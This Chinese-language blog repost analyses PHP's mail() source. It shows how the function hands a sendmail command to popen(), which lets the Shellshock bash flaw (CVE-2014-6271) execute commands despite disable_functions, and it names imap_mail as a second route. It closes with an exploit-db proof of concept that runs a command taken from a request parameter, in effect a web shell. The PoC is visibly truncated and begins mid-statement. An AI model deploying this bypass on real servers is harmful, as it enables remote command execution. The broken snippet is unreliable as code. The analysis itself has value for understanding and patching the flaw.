欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  php教程

PHP Execute Command Bypass Disable_functions

程序员文章站 2022-04-14 22:47:54
...

先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply argum

先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c

236行:

char *sendmail_path = INI_STR("sendmail_path"); 
char *sendmail_cmd = NULL;


从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:


; For Unix only.  You may supply arguments as well (default: "sendmail -t -i"). 
;sendmail_path =
注释中可以看到,send_mail默认值为"sendmail -t -i".

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下:
if (!sendmail_path) { 
#if (defined PHP_WIN32 || defined NETWARE) 
    /* handle old style win smtp sending */ 
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { 
      if (tsm_errmsg) { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); 
        efree(tsm_errmsg); 
      } else { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); 
      } 
      MAIL_RET(0); 
    } 
    MAIL_RET(1); 
#else 
    MAIL_RET(0); 
#endif 
  } 
  if (extra_cmd != NULL) { 
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 
  } else { 
    sendmail_cmd = sendmail_path; 
  }


之后执行:

#ifdef PHP_WIN32 
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 
#else 
  /* Since popen() doesn't indicate if the internal fork() doesn't work 
   * (e.g. the shell can't be executed) we explicitly set it to 0 to be 
   * sure we don't catch any older errno value. */ 
  errno = 0; 
  sendmail = popen(sendmail_cmd, "w"); 
#endif
将sendmail_cmd丢给popen执行。
如果系统默认sh是bash,popen会派生bash进程。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。


同样,我们搜索一下php的源码,可以发现,明里调用popen派生进程的php函数还有imap_mail,如果你仅仅通过禁用mail函数来规避这个安全问题,那么imap_mail是可以做替代的。当然,php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数,通过这些地方,都可以通过破壳漏洞执行命令的。

影响版本:php 5.x 已测试,其他版本未测试

修复方法:修复CVE-2014-6271

给出POC(http://www.exploit-db.com/exploits/35146/)如下:

$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>


PHP Execute Command Bypass Disable_functions